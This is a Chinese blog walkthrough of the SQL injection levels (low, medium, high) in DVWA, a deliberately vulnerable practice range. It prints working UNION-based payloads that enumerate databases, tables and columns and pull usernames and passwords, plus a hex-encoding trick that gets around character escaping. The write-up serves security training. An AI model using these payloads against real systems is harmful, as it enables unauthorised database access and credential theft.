DVWA-SQL注入(SQL Injection)低/中/高级别

 「作者简介」:冬奥会网络安全中国代表队,CSDN Top100,就职奇安信多年,以实战工作为基础著作 《网络安全自学教程》,适合基础薄弱的同学系统化的学习网络安全,用最短的时间掌握最核心的技术。

DVWA是一个用来联系渗透的靶场,其中包含数个漏洞模块,本篇博客向大家简单介绍下SQL注入(SQL Injection)模块三个级别(low/medium/high)的通关步骤

SQL Injection-low级别

SQL注入的low级别需要我们输入用户的ID作为参数,后端的SQL语句根据用户ID查询用户的信息并返回,执行SQL之前并没有过滤,源码如下

我们输入一个正确的用户ID : 1 , 发现输入的参数拼接到了url地址栏中,由此推断,此关卡使用的请求方式为GET请求,我们直接在输入框中构造payload即可,查询到的用户信息回显到了页面中,可以尝试联合注入

 接下来测试注入点,输入 1' and true # 使SQL恒成立,页面正常显示了查询到的用户数据,再输入 1' and false # 使SQL恒不成立,页面空显示,即没有查到用户的数据,由此推断出用户输入的参数会影响SQL的语法结构,从而影响SQL的执行结果,即存在SQL注入,并且注入点为单引号字符型注入

 

 

确认注入点以后,我们使用联合注入构造payload,获取所有数据库

-1' union select 1,(select group_concat(schema_name) 
from information_schema.schemata) #

 获取所有表

-1' union select 1,(select group_concat(table_name) 
from information_schema.tables 
where table_schema='dvwa') #

获取所有字段

-1' union select 1,(select group_concat(column_name) 
from information_schema.columns 
where table_schema='dvwa' and table_name='users') #

获取数据

-1' union select 1,(select group_concat(user,password) from dvwa.users) #

SQL Injection-medium中级别

medium级别使用下拉框提交数据,请求方式为POST请求,需要抓包来修改提交的参数

根据输入的用户ID查询用户信息并在页面中回显,有显示位,可以使用联合注入

执行SQL之前,使用mysqli_real_escape_string()函数转译了特殊字符,可以使用Hex()编译绕过,源码如下

使用抓包软件拦截POST请求,修改参数,使用联合注入构造payload,获取所有数据库

-1 union select 1,(select group_concat(schema_name) 
from information_schema.schemata) -- a

使用MySQL的Hex函数编译需要查询的表名,并在结果前面加上0x,从而绕过特殊字符转译,获取表

mysql> select Hex('dvwa');

-1 union select 1,(select group_concat(table_name) 
from information_schema.tables 
where table_schema=0x64767761) -- a

将表名也使用MySQL的Hex()转译,获取所有字段

 注意:post请求的内容中不要换行

-1 union select 1,(select group_concat(column_name) 
from information_schema.columns 
where table_schema=0x64767761 and table_name=0x7573657273) -- a

SQL Injection-hign高级别

hign级别将参数保存到session中,在输入框直接构造payload即可

后端代码从session中获取用户输入的参数,并根据用户ID获取用户信息并回显到页面中,有回显,可以使用联合注入,并且执行SQL之前没有对用户输入的参数进行过滤,源码如下

 

获取数据库

-1' union select 1,(select group_concat(schema_name) 
from information_schema.schemata) #

获取表

-1' union select 1,(select group_concat(table_name) 
from information_schema.tables 
where table_schema='dvwa') #

获取字段

-1' union select 1,(select group_concat(column_name) 
from information_schema.columns 
where table_schema='dvwa' and table_name='users') #

  • 11
    点赞
  • 41
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

士别三日wyx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值